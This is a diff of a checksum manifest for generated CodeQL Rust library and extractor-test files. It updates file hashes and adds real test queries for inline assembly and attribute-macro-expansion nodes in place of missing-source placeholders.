4e13b509e1c9dd1581a9dc50d38e0a6e36abc1254ea9c732b5b3e6503335afeb 298028df9eb84e106e625ed09d6b20038ad47bfc2faf634a0ffea50b17b5805d lib/codeql/rust/elements/internal/generated/TupleStructPat.qll 6539d0edbdc16e7df849514d51980d4cd1a2c9cbb58ca9e5273851f96df4eb36 45a13bae5220d5737cbd04713a17af5b33d8bb4cfdf17ddd64b298ab0c1eea24 -lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll dc494a783c495c96f2498230d160b59117cfa96d927861cd9d76676fefac8fb2 47da01697f143d4077978594b0c2f4c4bc5e92823dfcaad3ce8ab91725a536a3 +lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll 1756cdbad56d634bf4726bc39c768386754e62650492d7d6344012038236a05b 3ac0997a47f95f28cc70c782173ce345fcb5b073be10f3c0b414d1df8443e04c lib/codeql/rust/elements/internal/generated/TypeAlias.qll 76f2ed5427077a5a4723285410740aeba01886ff1499d603cfeb735fc58ec580 b713c0ee40c959dff01b0f936552e6253634bb5ae152315f0949ecc88cb0dcce -lib/codeql/rust/elements/internal/generated/TypeArg.qll e76ea103f7e9ead3be2c34718270d6893ca1980ee31e32ec19a92381e0040d73 9f2ea2d9434d57d7e3223e5d9d7662047e38bda26112751e122e2c1d03549eb5 -lib/codeql/rust/elements/internal/generated/TypeBound.qll 28896d40ecb222ca0f42635a5820034755ea05d9d6c181455e7f5ac31f9d6139 87cc25695a256d9ab3cf9077a6a5602320ce7cc958248296420c937d9cf477ca -lib/codeql/rust/elements/internal/generated/TypeBoundList.qll 31881cae2f71df5adf7a427357565bc0e7ba58c6a774a9d5835560a34c4db30f 1ff36ba34dd966d945d743781e3a1cccad4bb9fd5d32902dfd0bcad537501a85 -lib/codeql/rust/elements/internal/generated/TypeParam.qll e0c6b029113c6ba99513ef903bbb1e8f09741d1a1c45dc31d07bb91edcf05657 a31402aa6128b1e7da79148e59ce065041c9f274cfc59937252725e21e63330c +lib/codeql/rust/elements/internal/generated/TypeArg.qll 80245e4b52bef30e5033d4c765c72531324385deea1435dc623290271ff05b1d 097926e918dcd897ea1609010c5490dbf45d4d8f4cffb9166bcadf316a2f1558 +lib/codeql/rust/elements/internal/generated/TypeBound.qll fa5cf5370c3f69e687b5fc888d2ca29d0a45bd0824d1159a202eafae29e70601 e3bc6a1e5c0af374c60e83396c5b0ceda499fabd300c25017ae7d4d5b234b264 +lib/codeql/rust/elements/internal/generated/TypeBoundList.qll c5d43dc27075a0d5370ba4bc56b4e247357af5d2989625deff284e7846a3a48b c33c87d080e6eb6df01e98b8b0031d780472fcaf3a1ed156a038669c0e05bf0a +lib/codeql/rust/elements/internal/generated/TypeParam.qll 81a8d39f1e227de031187534e5d8e2c34f42ad3433061d686cadfbdd0df54285 893795d62b5b89997574e9057701d308bea2c4dca6053042c5308c512137e697 lib/codeql/rust/elements/internal/generated/TypeRepr.qll 1e7b9d2ddab86e35dad7c31a6453a2a60747420f8bc2e689d5163cab4fec71bb eb80e3947649e511e7f3555ffc1fd87199e7a32624449ca80ffad996cdf9e2f3 lib/codeql/rust/elements/internal/generated/UnderscoreExpr.qll b3780c99c5d57159bef4c6bd2fd8ec44ebd1854c892c1ca776c740f71249e58c 2fd451cbf0a779e8042e439882e7d9cadc19d1e596df3bbb086d16f2596407c7 lib/codeql/rust/elements/internal/generated/Unextracted.qll 01563dfd769d6dc3c6b8a40d9a4dc0d99a3b6a0c6725c180d2bf4d7633929a17 a93ce90f8c03f4305e59de9c63f089fc7935298fc9a73d091d76933cf63e790c lib/codeql/rust/elements/internal/generated/Unimplemented.qll a3eb304781991bff1227de1e4422b68bf91e7b344e4f6c9e874b324e82a35e60 6bc4839fda3850a56dc993b79ef9ba921008395c8432b184e14438fba4566f21 -lib/codeql/rust/elements/internal/generated/Union.qll 83b1ed06279e1f6baa1c2618e09f58a15b83c300837d0da3faf3b8f63cf15aa0 e9d877bb75231a36b3d32cf92a598593eeaf4f5100ac1fa172781bc5b9514349 -lib/codeql/rust/elements/internal/generated/Use.qll d42ccf3516a9f79ae8766f93ad5f09d3cdcd7b96844d4c9de64189b56018a7b4 70a9553a8f71f6cbfdd0f59a4b42292d13177613ceb0542436436e0ac2e1f8ee +lib/codeql/rust/elements/internal/generated/Union.qll 0d5528d9331cc7599f0c7bc4d2b17908a9f90037bc94b8b7cd8bed058df98e45 986b33efddc36ff34acaf3d38bd3f90055aa14ec018432f5d4510037fc8ee59f +lib/codeql/rust/elements/internal/generated/Use.qll cf95b5c4756b25bee74113207786e37464ffbc0fb5f776a04c651300afc53753 1fe26b3904db510184cb688cb0eeb0a8dbac7ac15e27a3b572d839743c738393 lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8 -lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 05dca015d922935887856f3a0d577dbcf5b8f82bc384bdc9c8c2d0106419716d fcee14ed4f7a639b1ba721bd390fc0cdbfdc7c759e3092aa462d466fe390de45 -lib/codeql/rust/elements/internal/generated/UseTree.qll 15b84e3a194959aef793cd0c16b3d2d21ee5822e2d26186b5d73f922325c2827 49c409a7b82c1099436fbe3bd041d35dcd23169d58d31fbd718f6deb96fb7318 -lib/codeql/rust/elements/internal/generated/UseTreeList.qll 829441cf309f008a6a9d2e784aa414ab4c11880a658f8ee71aa4df385cd2b6a8 ced82df94fea7a191f414f7e6496d13791d2f535046844b6f712a390663ac3d0 -lib/codeql/rust/elements/internal/generated/Variant.qll 6d85af18e730e3f88cb97cd40660437364d7718072567f871310abd617a1e6e5 da2a5edfeebf9b3e554cb866c5b32f9b122044194122640c97d9d07781215bd1 +lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 2cc8ab0068b7bf44ca17a62b32a8dd1d89cd743532c8a96b262b164fd81b0c36 347e7709a0f5ace197beb6827f6cf04a31ff68ff2dff3707914c6b910658d00a +lib/codeql/rust/elements/internal/generated/UseTree.qll 3d7cbcc8ae76068b8f660c7d5b81b05595026043015cd6b4d42a60ed4c165811 b9f0bcf82feb31f31406e787670fee93e1aa0966bcc0e4cc285c342e88793e4e +lib/codeql/rust/elements/internal/generated/UseTreeList.qll 38efaa569b76ca79be047703279388e8f64583a126b98078fbbb6586e0c6eb56 1623a50fd2d3b1e4b85323ad73dd655172f7cbc658d3506aaa6b409e9ebe576e +lib/codeql/rust/elements/internal/generated/Variant.qll 56ef12f3be672a467b443f8e121ba075551c88fe42dd1428e6fa7fc5affb6ec2 fd66722fd401a47305e0792458528a6af2437c97355a6a624727cf6632721a89 lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2 -lib/codeql/rust/elements/internal/generated/VariantList.qll 4eb923ca341033c256ca9b8a8a5b4e14c7eac9d015be187fd97eeb25dfb1e18e e7865e975c35db49cd72cb8f9864797d3cfed16c3a675b5032b867ced2bbb405 -lib/codeql/rust/elements/internal/generated/Visibility.qll aba81820f30bed0fd2cd06831f7256af15ae32525b2a437896420b4cc067ea38 d6aed90b27124b812daf2ddd14b4e181277cbe638b4ccaab74e27681ac30e4ab -lib/codeql/rust/elements/internal/generated/WhereClause.qll d6c8f72bbec5d71c024f0d365c1c5e474f4d24ded0d34c56c1f66b1e4a384e9d ed14311d140eee00d3b26a4972f53e20d5af1bddf88fb5618e7e2d3ae1d816f3 -lib/codeql/rust/elements/internal/generated/WherePred.qll f5fdfd692c0d781d58847b86e389ba79489e8ef84e873e2b01d1d4e660e938aa 88dd90e1669487c023a74e48928162dcad7d122296fb065a23376e944d7989fc -lib/codeql/rust/elements/internal/generated/WhileExpr.qll 7edf1f23fbf953a2baabcdbf753a20dff9cf2bc645dcf935f1e68f412971a8f7 d2fa7ada1f48f6b4566c75747584068e925be925d39d6e6ebf61d21bde3b6522 +lib/codeql/rust/elements/internal/generated/VariantList.qll 3f70bfde982e5c5e8ee45da6ebe149286214f8d40377d5bc5e25df6ae8f3e2d1 22e5f428bf64fd3fd21c537bfa69a46089aad7c363d72c6566474fbe1d75859e +lib/codeql/rust/elements/internal/generated/Visibility.qll af1069733c0120fae8610b3ebbcdcebe4b4c9ce4c3e3d9be3f82a93541873625 266106bdff4d7041d017871d755c011e7dd396c5999803d9e46725b6a03a2458 +lib/codeql/rust/elements/internal/generated/WhereClause.qll aec72d358689d99741c769b6e8e72b92c1458138c097ec2380e917aa68119ff0 81bb9d303bc0c8d2513dc7a2b8802ec15345b364e6c1e8b300f7860aac219c36 +lib/codeql/rust/elements/internal/generated/WherePred.qll 9aa63abdf1202ee4708e7413401811d481eac55ba576a4950653395f931d1e90 ebb9f2883f811ea101220eac13d02d2893d2ec0231a29826a32b77cb2c88a5f8 +lib/codeql/rust/elements/internal/generated/WhileExpr.qll 0353aab87c49569e1fbf5828b8f44457230edfa6b408fb5ec70e3d9b70f2e277 e1ba7c9c41ff150b9aaa43642c0714def4407850f2149232260c1a2672dd574a lib/codeql/rust/elements/internal/generated/WildcardPat.qll d74b70b57a0a66bfae017a329352a5b27a6b9e73dd5521d627f680e810c6c59e 4b913b548ba27ff3c82fcd32cf996ff329cb57d176d3bebd0fcef394486ea499 lib/codeql/rust/elements/internal/generated/YeetExpr.qll cac328200872a35337b4bcb15c851afb4743f82c080f9738d295571eb01d7392 94af734eea08129b587fed849b643e7572800e8330c0b57d727d41abda47930b lib/codeql/rust/elements/internal/generated/YieldExpr.qll 37e5f0c1e373a22bbc53d8b7f2c0e1f476e5be5080b8437c5e964f4e83fad79a 4a9a68643401637bf48e5c2b2f74a6bf0ddcb4ff76f6bffb61d436b685621e85 @@ -672,21 +671,33 @@ test/extractor-tests/generated/ArrayRepeatExpr/ArrayRepeatExpr_getExpr.ql 6b0003 test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql cfb831ccbc04092250931e0bd38c7b965fe0fd868081cd5f49fb11cd0da9aa0d 51e05a537928d7fd0aedd800f4d99c1f52630d75efe78bf7b016f1ad2380583b test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql 38db5e08b7a78f52247b9894fe2f3dd80b89efd2a3ddce446b782f92f6e2efad 8a4d38deac59fff090617e928fb698fc3d57f3651f47b06d3f40dd4ba92b2c93 test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql f74222b11cc52d3ac79e16d2943c1281c574fee954298752a309abc683798dbb 9701ebe468d76f72b21a7772a9e9bb82d8fd0a4e317437341f31f8395780dc33 -test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql f98889c27e64d193c61c595f0efbb6bbdae7cb214a0ce1c11dbb102979ca9714 5367f35345e665563161060a38dacebc9cf7bd3b48b2f0fd01bc8ef85ffa642c +test/extractor-tests/generated/AsmConst/AsmConst.ql 07f4d623883ad4ff0701d7dd50306c78493407295ae4ccef8c61eba2c58deb30 a66e9cbfea3c212b34628f0189a93ed493fcfd8baaa85338d746e69fe290deb0 +test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql 2ece012be6a62ea66737b2db8693f0e41bb23355d59784572d9193e056def5e4 59a4730da584dcf16e8d9e9f7d4fcd417fcf329933552e783375ad9715e46f4e +test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql d66f9672522b71318764f9c2dbdbeeaf895d66320997c3ba6a68daa7ea7c5600 de7d4231db182f63ab3e65ea5f4b548b530a6af7a79d7663a2250501a22e9783 test/extractor-tests/generated/AsmExpr/AsmExpr.ql 81db9651d3e3cb2041316f95484bfe2a7d84a93d03a25bd6bcb3db813557a6e0 96c40bdbeadb1e52c6291a4da648304070db435e13f5881ab795f5874ef5885c test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql 334f92d8b5ab4326d844c0e515c7cda84ba92dc598d5787dc88fe05beb04a7dd 845d6a740f5b8593a42cb00ef0212e8eae063dcd4b4e60af57e37bdfb61e4c0d test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql 93e644147ddc4de00c882c32d17ff3c22822e116b67361d52217619153b7d4c4 4c0c3f72707f41e879426ff75c5631e9283dc0507316740bec22216c5feb04e9 test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql d2070ad3509e5f4cf77d1ebd7ed730368627abf9c99e34cbece822f921f0a2dc 602646dd1bfcb3f6e09c1c3aa7a9d0cde38c60a397443c26d464fda15b9d86f5 -test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmLabel/AsmLabel.ql 5fa35306f29af248328e480445812d249428e1ca1ad8fd9bf6aaa92e864b14e4 93690a78ecb8bbb2fea9d56ce052bb12783596bde9664a6014b992c1ed9054a3 +test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql 2ca16a4c6cfa438393d7e805f7da3971929e18eb70014e7a9c715d043404d704 f9ea9dafa9b90cce5624e0f2f900eb2056a45a0dd4d53eb1f31267661f02d17a +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql 660b7d5a466a7d426dd212ab7e4d7e990710aedcfd9e82d94757c9d3404f6040 a0afa9d7158f285e3fa306d3189bd0babe26d53cbf53a574de8239ff1046a7a6 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql 00c8ccb9d4694067810288022ee6d57007676f1b9d13071c2d3abc240421ed79 d0febfa9a18b9b34f747cdc23400ca6be63df187e2b37125a4da7460316ac0a9 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql 8a3890c5ae23ce0e20fb4ff1af574db1faffac3bdac75c1f13fb8bb3227d9335 f4ac325ffebfb1fc3cb68b4405b49a012a4cc1ad12c1f8dffb415232e2bb3ca2 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql ab7d567a6647f5cb03586b914131897d52d66909f1c8f0178ec07975560bdd42 ef4302d3dddd4bce1420e64b870da600c4368ab8cf888dc6e260d50d9e78dc2a +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql 8836f5152483ef6897db1e6c761dfbf51df4addcd448b554ab9e397b72c8c10c 3751a2558255c721f959b9651040c0f6f7db77165492dab7555209eb36b97353 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql 8932726b3a76e3358a22499e4b5f6702c971d8ea6c0dad4d9edf7fd1a7e8e670 8aabd40dbdb0b46e48b875ad7fdf2dddc11d8520e94c2ef49c8fccf81f3936a1 +test/extractor-tests/generated/AsmOption/AsmOption.ql c3b734a8ed0c8cb7c2703243803244c70f6ab49cd5443808b51c69b542479cbb f33359108019bc7e489a3493a14cc8626393cf021b264e09c06f9997fb1f69ce +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b2be14f72b828d69058cdfe06f2e974e34ca4f864b6a792e18927ba6bad2bed8 44a766a4588b30e974e22e87c1620531b754d3d68fe30159f1cd75e556759b33 +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql 1a775bb242deba03dcbc55469812a11e7bce4506c9258c6cb18696c4b26d7fe4 6c609d289c8bac2074513f52dd5ed5021224de212968db495f51709c9fb31dc8 +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql 809114ab618f85ba8c4b87c6602ec0641445bdd1cd679b2abc9e3b0c0c790aeb ea18549186133865bf9eb62021d16ef702365c0c919dd8a2d00ca4a337eeb65c +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql 3074826db602b4f716a7504b019d3834cd2ef1a3f411621780ef40b97603cfe1 2fa32c795d7024f6a7370edac9f9d762f685981cb5bf5886e930316a2830095a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql 0fb1e458b477158439eaf222eeb7c16ccdb12584fd87941c0f8b058ee1e91946 6f3297fca9c90ca730e9e02eb83a54f4077e03d36f9c268515300482e5c82a0a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql 138acb4234fd0607e1884304e712498f4d34cb0da52f55a3729b33ec69056b10 c4207e230d60405644bc6cc56d871901116900ccb6d33398fef7292229223969 +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql c80510ab2e3975cdec4a98df8d0d0153bc46f64c677c89c208e9ced5c78f500c daf705c0e8cace232fc4609e70f7bc2f8565f47f18d0decf7da580405609b0fd +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql 6c02b392b2e602c7257cd5591ded2674c37a54709a84250642f56671ac993f6c e9ec9a6202f8a6774ea46686f0a2b4c6a4511fec129ff95c61159e7102a50c7b +test/extractor-tests/generated/AsmSym/AsmSym.ql aa631efd6d31f9003e8b4deaf5fd918f0a3cfe4e319ccde918b47e4a23c43eda af41534bd153d88903217230fcea58b75227bb1ebff851e288f1353250d402f5 +test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql 84943b40c30a8f630e18b9807d600cad010d5b106c68efd2b8de24e72cc4a441 b186f89c722271d98cccbd7eaad8f2a49b46983ef5b6630ac9944d5025676da6 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql e0bfc812d6bc06fcd820d67044831fbc7c6917e11f75565128c5a927c5706aa3 e4b765d91f1205ed818dc1143316aa642d968e7bcd65ed055579ab941c401637 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql c81e25fd7885f13c0500e8f9b84195876e70f2b25ad604046f497818226c8542 62ac0e7c82da169c248e4f9e0e8f866d2f4e599b03a287c2bd407b95a5d9efc8 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql 4d20375752c000aab8d2e4988fff1a5c95689d114c8d63f37b389b95000ee873 957e360a4eeefa2536958770a7d150fda610d1d45c09900dbe66e470e361e294 @@ -736,8 +747,9 @@ test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql cbfcf test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql 68ce501516094512dd5bfed42a785474583a91312f704087cba801b02ba7b834 eacbf89d63159e7decfd84c2a1dc5c067dfce56a8157fbb52bc133e9702d266d test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql c95bc7306b2d77aa05a6501b6321e6f1e7a48b7ad422ba082635ab20014288ae fe72d44c9819b42fff49b9092a9fb2bfafde6d3b9e4967547fb5298822f30bc3 test/extractor-tests/generated/Comment/Comment.ql 5428b8417a737f88f0d55d87de45c4693d81f03686f03da11dc5369e163d977b 8948c1860cde198d49cff7c74741f554a9e89f8af97bb94de80f3c62e1e29244 -test/extractor-tests/generated/Const/Const.ql ef2d2730e08ff6c9e5e8473f654e0b023296c51bc9acfbffd7d4cc5caeed7919 906f8624b10b3fade378d29e34af8537f86d9de16a22a188887ecfc165f5ded9 +test/extractor-tests/generated/Const/Const.ql 6794d0056060a82258d1e832ad265e2eb276206f0224a3f0eb9221e225370066 0a6134fb5a849ce9bd1a28de783460301cafca5773bd7caa4fb1f774f81b476a test/extractor-tests/generated/Const/Const_getAttr.ql bd6296dab00065db39663db8d09fe62146838875206ff9d8595d06d6439f5043 34cb55ca6d1f44e27d82a8b624f16f9408bae2485c85da94cc76327eed168577 +test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql 82e86399d5cd72621dc8d9cd9f310d3dc7f2ecf208149dab0d202047ccbbd2f8 33df8c5b5044f49ec244e183c61c3b81fabd987f590ba6da4e18e08231343dc8 test/extractor-tests/generated/Const/Const_getBody.ql f50f79b7f42bb1043b79ec96f999fa4740c8014e6969a25812d5d023d7a5a5d8 90e5060ba9757f1021429ed4ec4913bc78747f3fc415456ef7e7fc284b8a0026 test/extractor-tests/generated/Const/Const_getCrateOrigin.ql f042bf15f9bde6c62d129601806c79951a2a131b6388e8df24b1dc5d17fe89f7 7c6decb624f087fda178f87f6609510907d2ed3877b0f36e605e2422b4b13f57 test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql 3300b902e1d1f9928cfe918203b87043e13460cfa5348a8c93712d2e26d61ced 71e7b80d3290f17b1c235adaca2c48ae90eb8b2cb24d4c9e6dc66559daf3824c @@ -759,8 +771,9 @@ test/extractor-tests/generated/ContinueExpr/ContinueExpr_getLifetime.ql 39dae987 test/extractor-tests/generated/Crate/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.ql 513d64b564f359e1022ae6f3d6d4a8ad637f595f01f29a6c2a167d1c2e8f1f99 0c7a7af6ee1005126b9ab77b2a7732821f85f1d2d426312c98206cbbedc19bb2 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql b20720ff0b147d55cea6f2de44d5bf297e79991eaf103938ccd7ab9d129e9656 eb8c9db2581cea00c29d7772de0b0a125be02c37092217a419f1a2b6a9711a6c -test/extractor-tests/generated/Enum/Enum.ql ed518d828d8e2e4790849284de1d0d5e728dbc2fe5e9f187e8ebfa2d503efd5a 7092b963eb133371e1cbc09d45f8c2308d7093523140b351d67073a8d258643e +test/extractor-tests/generated/Enum/Enum.ql eebc780aef77b87e6062724dd8ddb8f3ad33021061c95924c2c2439798ffbb87 0d19552872a2254f66a78b999a488ce2becdb0b0611b858e0bee2b119ee08eae test/extractor-tests/generated/Enum/Enum_getAttr.ql 8109ef2495f4a154e3bb408d549a16c6085e28de3aa9b40b51043af3d007afa7 868cf275a582266ffa8da556d99247bc8af0fdf3b43026c49e250cf0cac64687 +test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql 571ec6396fb7fc703b23aab651b3c6c05c9b5cd9d69a9ae8f5e36d69a18c89d3 c04025992f76bce7638728847f1ef835d3a48d3dc3368a4d3b73b778f1334618 test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql 76d32838b7800ed8e5cab895c9dbea76129f96afab949598bebec2b0cb34b7ff 226d099377c9d499cc614b45aa7e26756124d82f07b797863ad2ac6a6b2f5acb test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql 001bb634adc4b20afb241bff41194bc91ba8544d1edd55958a01975e2ac428e1 c7c3fe3dc22a1887981a895a1e5262b1d0ad18f5052c67aa73094586de5212f6 test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql 2a858a07195a4b26b8c92e28519995bd6eba64889bddd126e161038f4a8d78e0 db188f238db915c67b084bc85aa0784c6a20b97b5a5f1966b3530c4c945b5527 @@ -770,14 +783,16 @@ test/extractor-tests/generated/Enum/Enum_getVisibility.ql 7fdae1b147d3d2ed41e055 test/extractor-tests/generated/Enum/Enum_getWhereClause.ql 00be944242a2056cd760a59a04d7a4f95910c122fe8ea6eca3efe44be1386b0c 70107b11fb72ed722afa9464acc4a90916822410d6b8bf3b670f6388a193d27d test/extractor-tests/generated/ExprStmt/ExprStmt.ql 811d3c75a93d081002ecf03f4e299c248f708e3c2708fca9e17b36708da620e5 a4477e67931ba90fd948a7ef778b18b50c8492bae32689356899e7104a6d6794 test/extractor-tests/generated/ExprStmt/ExprStmt_getExpr.ql e269bb222317afe1470eee1be822d305fc37c65bca2999da8d24a86fa9337036 088369d6c5b072192290c34c1828b1068aeedaabdae131594ca529bbb1630548 -test/extractor-tests/generated/ExternBlock/ExternBlock.ql 45233abdf39caefd2d1d236990a5fbf06eb0b547d892f1ad3e82b8e3c215bc79 df30e0370ed20bef3b2c5bed6e8c27b27663716e7c9e14e85acb6e33a43f4edc +test/extractor-tests/generated/ExternBlock/ExternBlock.ql 237040dfe227530c23b77f4039d2a9ed5f247e1e8353dc99099b18d651428db2 49c8672faa8cc503cc12db6f694895ee90e9ab024a8597673fd4a620a39f28cf test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql 9b7c7263fcbc84e07361f5b419026a525f781836ede051412b22fb4ddb5d0c6a c3755faa7ffb69ad7d3b4c5d6c7b4d378beca2fa349ea072e3bef4401e18ec99 test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql 78ed6a2d31ccab67b02da4792e9d2c7c7084a9f20eb065d83f64cd1c0a603d1b e548d4fa8a3dc1ca4b7d7b893897537237a01242c187ac738493b9f5c4700521 +test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql 39b006e3acb71272cd0f211d37048949c41cc2cdf5bad1702ca95d7ff889f23f 2fceb9fa8375391cfe3d062f2d96160983d4cf94281e0098ab94c7f182cb008d test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql 5a2e0b546e17a998156f48f62e711c8a7b920d352516de3518dfcd0dfedde82d 1d11b8a790c943ef215784907ff2e367b13737a5d1c24ad0d869794114deaa32 test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql 40d6ee4bcb77c2669e07cf8070cc1aadfca22a638412c8fcf35ff892f5393b0c e9782a3b580e076800a1ad013c8f43cdda5c08fee30947599c0c38c2638820d6 test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql 2c2b29bdfdc3b27173c068cbaab9946b42053aa14cf371236b4b60ff2e723370 dfc20fc8ef81cdce6f0badd664ef3914d6d49082eb942b1da3f45239b4351e2f -test/extractor-tests/generated/ExternCrate/ExternCrate.ql c6c673d6f533fc47b1a15aac0deb5675ba146c9b53e4575f01e97106969ef38e 5a4d9e6f4fdb689d9687f4e7eb392b184c84bad80eec5dad0da775af27028604 +test/extractor-tests/generated/ExternCrate/ExternCrate.ql 25721ab97d58155c7eb434dc09f458a7cb7346a81d62fae762c84ae0795da06d d8315c4cf2950d87ecf12861cf9ca1e1a5f9312939dce9d01c265b00ba8103fd test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql cbe8efdfdbe5d46b4cd28d0e9d3bffcf08f0f9a093acf12314c15b692a9e502e 67fe03af83e4460725f371920277186c13cf1ed35629bce4ed9e23dd3d986b95 +test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql 254a0be2f36e593f1473dfc4d4466a959683a4c09d8b8273f33b39f04bb41a7b a087003503a0b611de2cd02da4414bb0bbbc73ef60021376a4748e0e34a44119 test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql c0bf9ba36beb93dc27cd1c688f18b606f961b687fd7a7afd4b3fc7328373dcfb 312da595252812bd311aecb356dd80f2f7dc5ecf77bc956e6478bbe96ec72fd9 test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql 88e16e2bbef466cec43ace25716e354408b5289f9054eaafe38abafd9df327e3 83a69487e16d59492d44d8c02f0baf7898c88ed5fcf67c73ed89d80f00c69fe8 test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql 